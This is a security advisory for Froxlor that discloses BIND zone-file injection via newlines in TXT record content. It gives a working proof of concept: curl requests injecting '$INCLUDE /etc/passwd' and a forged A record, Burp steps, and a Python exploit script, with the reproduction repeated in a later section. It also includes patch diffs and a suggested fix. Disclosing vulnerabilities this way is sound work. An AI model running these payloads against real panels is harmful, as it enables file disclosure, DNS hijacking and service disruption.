Froxlor: BIND Zone File Injection via TXT Record Content
Description
Summary
The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.
This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.
Affected
Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:
} elseif ($type == 'TXT' && !empty($content)) {
// check that TXT content is enclosed in " "
$content = Dns::encloseTXTContent($content);
}
Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.
Line 148 of DomainZones.php still contains: ``php // TODO regex validate content for invalid characters ``
The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.
Comparison with
CVE-2026-30932 fix
The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:
| Type | Validation Added | Still Vulnerable? | |------|-----------------|-------------------| | LOC | Validate::validateDnsLoc() (strict regex) | No | | RP | Validate::validateDnsRp() (domain validation) | No | | SSHFP | Validate::validateDnsSshfp() (3-part split) | No | | TLSA | Validate::validateDnsTlsa() (4-part split) | No | | TXT | **Dns::encloseTXTContent() (quotes only) | Yes** |
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- DNS enabled (
system.bind_enable=1,system.dnsenabled=1) - Customer with
dnsenabled=1, domain withisbinddomain=1 - Customer has an API key (or uses the web UI DNS editor with Burp)
Reproduction via
API
# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "@",
"content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Reproduction via
Web UI (Burp)
1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the dns_content parameter to: v=spf1 +all"%0a$INCLUDE /etc/passwd (%0a is URL-encoded newline) 6. Forward the request
Result
The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:
$TTL 604800
$ORIGIN testdomain.lab.
@ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ...
@ 18000 IN TXT "v=spf1 +all"
$INCLUDE /etc/passwd"
@ 604800 IN A 100.95.188.127
* 604800 IN A 100.95.188.127
When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.
Variant: Arbitrary DNS record injection
The same technique injects arbitrary A/MX/CNAME records:
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "_spf",
"content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Result:
_spf 18000 IN TXT "v=spf1 +all"
evil 18000 IN A 6.6.6.6
evil.testdomain.lab now resolves to attacker IP 6.6.6.6.
Automated
PoC Script
#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()
def api(target, key, secret, cmd, params=None):
return requests.post(f"{target.rstrip('/')}/api.php",
auth=(key, secret), json={"command": cmd, "params": params or {}},
verify=False).json()
target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
"domainname": domain, "type": "TXT", "record": "@",
"content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})
for line in r.get("data", []):
tag = " <-- INJECTED" if "$INCLUDE" in str(line) else ""
if line: print(f" {line}{tag}")
print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")
Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld
Impact
- Information Disclosure:
$INCLUDEdirects BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer viaDomainZones.listingor DNS queries to records created from parsed file lines.
- DNS Record Injection: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.
- DNS Service Disruption: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain.
$GENERATEdirectives can create massive record sets for amplification.
Suggested
Fix
Strip newlines and BIND metacharacters from TXT content. Minimal fix:
// lib/Froxlor/Api/Commands/DomainZones.php, around line 306
} elseif ($type == 'TXT' && !empty($content)) {
// Strip characters that can break zone file format
$content = str_replace(["\n", "\r", "\t"], '', $content);
$content = Dns::encloseTXTContent($content);
}
A more comprehensive fix would add a validation function (similar to validateDnsLoc, validateDnsSshfp, etc.) that rejects any content containing zone metacharacters ($, newlines), and remove the TODO at line 148.
Affected products
2Patches
2b34829262dc3validate dns LOC, RP, SSHFP and TLSA record-content according to specifications
4 files changed · +203 −4
lib/Froxlor/Api/Commands/DomainZones.php+24 −4 modified@@ -211,7 +211,12 @@ public function add() // append trailing dot (again) $content .= '.'; } elseif ($type == 'LOC' && !empty($content)) { - $content = $content; + if (!Validate::validateDnsLoc($content)) { + $errors[] = lng('error.dns_loc_invalid'); + } else { + // keep content + $content = $content; + } } elseif ($type == 'MX') { if ($prio === null || $prio < 0) { $errors[] = lng('error.dns_mx_prioempty'); @@ -251,7 +256,12 @@ public function add() // append trailing dot (again) $content .= '.'; } elseif ($type == 'RP' && !empty($content)) { - $content = $content; + if (!Validate::validateDnsRp($content)) { + $errors[] = lng('error.dns_rp_invalid'); + } else { + // keep content + $content = $content; + } } elseif ($type == 'SRV') { if ($prio === null || $prio < 0) { $errors[] = lng('error.dns_srv_prioempty'); @@ -288,9 +298,19 @@ public function add() $content .= '.'; } } elseif ($type == 'SSHFP' && !empty($content)) { - $content = $content; + if (!Validate::validateDnsSshfp($content)) { + $errors[] = lng('error.dns_sshfp_invalid'); + } else { + // keep content + $content = $content; + } } elseif ($type == 'TLSA' && !empty($content)) { - $content = $content; + if (!Validate::validateDnsTlsa($content)) { + $errors[] = lng('error.dns_tlsa_invalid'); + } else { + // keep content + $content = $content; + } } elseif ($type == 'TXT' && !empty($content)) { // check that TXT content is enclosed in " " $content = Dns::encloseTXTContent($content);
lib/Froxlor/Validate/Validate.php+171 −0 modified@@ -386,4 +386,175 @@ public static function validateBase64Image(string $base64string) // If everything is okay, return true return true; } + + public static function validateDnsLoc(string $input) + { + $pattern = '/^ + (\d{1,2})\s+ # latitude degrees + (\d{1,2})\s+ # latitude minutes + (\d{1,2}(?:\.\d+)?)\s+ # latitude seconds + ([NS])\s+ # latitude direction + (\d{1,3})\s+ # longitude degrees + (\d{1,2})\s+ # longitude minutes + (\d{1,2}(?:\.\d+)?)\s+ # longitude seconds + ([EW])\s+ # longitude direction + (-?\d+(?:\.\d+)?)m # altitude + (?:\s+(\d+(?:\.\d+)?)m # size (optional) + (?:\s+(\d+(?:\.\d+)?)m # horiz precision (optional) + (?:\s+(\d+(?:\.\d+)?)m)? # vert precision (optional) + )?)?$/x'; + + if (!preg_match($pattern, $input, $matches)) { + return false; + } + + [ + , + $latDeg, $latMin, $latSec, $latDir, + $lonDeg, $lonMin, $lonSec, $lonDir, + $alt, + $size, $hPrec, $vPrec + ] = $matches + array_fill(0, 13, null); + + // Range checks + if ($latDeg > 90) return false; + if ($latMin > 59) return false; + if ($latSec >= 60) return false; + + if ($lonDeg > 180) return false; + if ($lonMin > 59) return false; + if ($lonSec >= 60) return false; + + return $input; + } + + public static function validateDnsRp(string $input) + { + $parts = preg_split('/\s+/', trim($input)); + + if (count($parts) !== 2) { + return false; + } + + [$mboxDname, $txtDname] = $parts; + + // remove trailing dot if any + $mboxDname = rtrim($mboxDname, '.'); + $txtDname = rtrim($txtDname, '.'); + + if (!self::validateDomain($mboxDname)) { + return false; + } + + if (!self::validateDomain($txtDname)) { + return false; + } + + return $input; + } + + public static function validateDnsSshfp(string $input) + { + $parts = preg_split('/\s+/', trim($input)); + + if (count($parts) !== 3) { + return false; + } + + [$algorithm, $type, $fingerprint] = $parts; + + // ---- algorithm ---- + $validAlgorithms = [1, 2, 3, 4, 6]; + + if (!ctype_digit($algorithm) || !in_array((int)$algorithm, $validAlgorithms, true)) { + return false; + } + + // ---- fingerprint type ---- + $validTypes = [1, 2]; + + if (!ctype_digit($type) || !in_array((int)$type, $validTypes, true)) { + return false; + } + + // ---- check fingerprint ---- + if (!ctype_xdigit($fingerprint)) { + return false; + } + + $type = (int)$type; + + switch ($type) { + case 1: // SHA-1 + $expectedLength = 40; + break; + + case 2: // SHA-256 + $expectedLength = 64; + break; + + default: + $expectedLength = 0; + break; + } + + if (strlen($fingerprint) !== $expectedLength) { + return false; + } + + return $input; + } + + public static function validateDnsTlsa(string $input) + { + $parts = preg_split('/\s+/', trim($input)); + + if (count($parts) !== 4) { + return false; + } + + [$usage, $selector, $matchingType, $data] = $parts; + + // ---- usage ---- + $validUsage = [0, 1, 2, 3]; + + if (!ctype_digit($usage) || !in_array((int)$usage, $validUsage, true)) { + return false; + } + + // ---- selector ---- + $validSelector = [0, 1]; + + if (!ctype_digit($selector) || !in_array((int)$selector, $validSelector, true)) { + return false; + } + + // ---- matching type ---- + $validMatching = [0, 1, 2]; + + if (!ctype_digit($matchingType) || !in_array((int)$matchingType, $validMatching, true)) { + return false; + } + + // ---- certificate association data ---- + if (!ctype_xdigit($data)) { + return false; + } + + $matchingType = (int)$matchingType; + + if ($matchingType === 1 && strlen($data) !== 64) { + return false; // SHA-256 + } + + if ($matchingType === 2 && strlen($data) !== 128) { + return false; // SHA-512 + } + + if ($matchingType === 0 && strlen($data) < 2) { + return false; // at least 1 byte hex + } + + return $input; + } }
lng/de.lng.php+4 −0 modified@@ -969,6 +969,10 @@ 'dns_srv_noalias' => 'Der SRV Eintrag darf kein CNAME Eintrag sein.', 'dns_duplicate_entry' => 'Eintrag existiert bereits', 'dns_notfoundorallowed' => 'Domain nicht gefunden oder keine Berechtigung', + 'dns_loc_invalid' => 'Ungültiger LOC Eintrag', + 'dns_rp_invalid' => 'Ungültiger RP Eintrag', + 'dns_sshfp_invalid' => 'Ungültiger SSHFP Eintrag', + 'dns_tlsa_invalid' => 'Ungültiger TLSA Eintrag', 'domain_nopunycode' => 'Die Eingabe von Punycode (IDNA) ist nicht notwendig. Die Domain wird automatisch konvertiert.', 'domain_noipaddress' => 'Eine IP-Adresse kann nicht als Domain angelegt werden', 'dns_record_toolong' => 'Records/Labels können maximal 63 Zeichen lang sein',
lng/en.lng.php+4 −0 modified@@ -1040,6 +1040,10 @@ 'dns_srv_noalias' => 'The SRV-target value cannot be an CNAME entry.', 'dns_duplicate_entry' => 'Record already exists', 'dns_notfoundorallowed' => 'Domain not found or no permission', + 'dns_loc_invalid' => 'The LOC record has invalid content', + 'dns_rp_invalid' => 'The RP record has invalid content', + 'dns_sshfp_invalid' => 'The SSHFP record has invalid content', + 'dns_tlsa_invalid' => 'The TLSA record has invalid content', 'domain_nopunycode' => 'You must not specify punycode (IDNA). The domain will automatically be converted', 'domain_noipaddress' => 'Cannot add an IP address as domain', 'dns_record_toolong' => 'Records/labels can only be up to 63 characters',
6ca84173d06aset version to 2.3.5 for upcoming release
3 files changed · +7 −2
install/froxlor.sql.php+1 −1 modified@@ -747,7 +747,7 @@ ('panel', 'logo_overridecustom', '0'), ('panel', 'settings_mode', '0'), ('panel', 'menu_collapsed', '1'), - ('panel', 'version', '2.3.4'), + ('panel', 'version', '2.3.5'), ('panel', 'db_version', '202512280');
install/updates/froxlor/update_2.3.inc.php+5 −0 modified@@ -189,3 +189,8 @@ Update::showUpdateStep("Updating from 2.3.3 to 2.3.4", false); Froxlor::updateToVersion('2.3.4'); } + +if (Froxlor::isFroxlorVersion('2.3.4')) { + Update::showUpdateStep("Updating from 2.3.4 to 2.3.5", false); + Froxlor::updateToVersion('2.3.5'); +}
lib/Froxlor/Froxlor.php+1 −1 modified@@ -31,7 +31,7 @@ final class Froxlor { // Main version variable - const VERSION = '2.3.4'; + const VERSION = '2.3.5'; // Database version (YYYYMMDDC where C is a daily counter) const DBVERSION = '202512280';
Vulnerability mechanics
Root cause
"The `DomainZones.add` API endpoint fails to sanitize newline characters in TXT record content, allowing injection of arbitrary BIND directives and DNS records."
Attack vector
An authenticated customer with DNS editing enabled can exploit this vulnerability by injecting newline characters into TXT record values via the `DomainZones.add` API endpoint or the web UI DNS editor [ref_id=1]. This allows the attacker to break out of the TXT record line in the generated BIND zone file. The injected content can include arbitrary BIND directives like `$INCLUDE` or `$GENERATE`, or arbitrary DNS records such as A, MX, or CNAME records [ref_id=1].
Affected code
The vulnerability resides in `lib/Froxlor/Api/Commands/DomainZones.php` around lines 306-308, where TXT record content is processed. The `Dns::encloseTXTContent()` function in `lib/Froxlor/Dns/Dns.php` does not strip newline characters. Content is then directly concatenated into the zone file via `DnsEntry::__toString()` in `lib/Froxlor/Dns/DnsEntry.php` [ref_id=1].
What the fix does
The patch involves adding input validation to strip newline and carriage return characters from TXT record content before it is processed. This prevents the injection of malicious BIND directives or arbitrary DNS records by ensuring that the content remains within the expected format for a TXT record. The fix addresses the oversight from a previous patch that had not included TXT records in its validation for newline injection vulnerabilities [ref_id=1].
Preconditions
- configDNS must be enabled (`system.bind_enable=1`, `system.dnsenabled=1`).
- authThe attacker must be an authenticated customer with DNS editing enabled (`dnsenabled=1`) and have a domain with `isbinddomain=1`.
- inputThe attacker needs an API key or access to the web UI DNS editor.
Reproduction
# PoC ### Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`) - Customer with `dnsenabled=1`, domain with `isbinddomain=1` - Customer has an API key (or uses the web UI DNS editor with Burp)
### Reproduction via API
```bash # Inject $INCLUDE directive to read /etc/passwd curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "@", "content": "v=spf1 +all\" $INCLUDE /etc/passwd", "ttl": 18000 } }' \ https://panel.example.com/api.php ```
### Reproduction via Web UI (Burp)
1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the `dns_content` parameter to: `v=spf1 +all"%0a$INCLUDE /etc/passwd` (`%0a` is URL-encoded newline) 6. Forward the request
### Result
The API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive:
``` $TTL 604800 $ORIGIN testdomain.lab. @ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ... @ 18000 IN TXT "v=spf1 +all" $INCLUDE /etc/passwd" @ 604800 IN A 100.95.188.127 * 604800 IN A 100.95.188.127 ```
When the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`.
### Variant: Arbitrary DNS record injection
The same technique injects arbitrary A/MX/CNAME records:
```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "_spf", "content": "v=spf1 +all\" evil\t18000\tIN\tA\t6.6.6.6", "ttl": 18000 } }' \ https://panel.example.com/api.php ```
Result:
``` _spf 18000 IN TXT "v=spf1 +all" evil 18000 IN A 6.6.6.6 ```
`evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`.
### Automated PoC Script
```python #!/usr/bin/env python3 """Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix""" import json, sys, requests, urllib3 urllib3.disable_warnings()
def api(target, key, secret, cmd, params=None): return requests.post(f"{target.rstrip('/')}/api.php", auth=(key, secret), json={"command": cmd, "params": params or {}}, verify=False).json()
target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
# Inject $INCLUDE r = api(target, key, secret, "DomainZones.add", { "domainname": domain, "type": "TXT", "record": "@", "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})
for line in r.get("data", []): tag = " <-- INJECTED" if "$INCLUDE" in str(line) else "" if line: print(f" {line}{tag}")
print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED") ```
Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld`
Generated on Jun 3, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.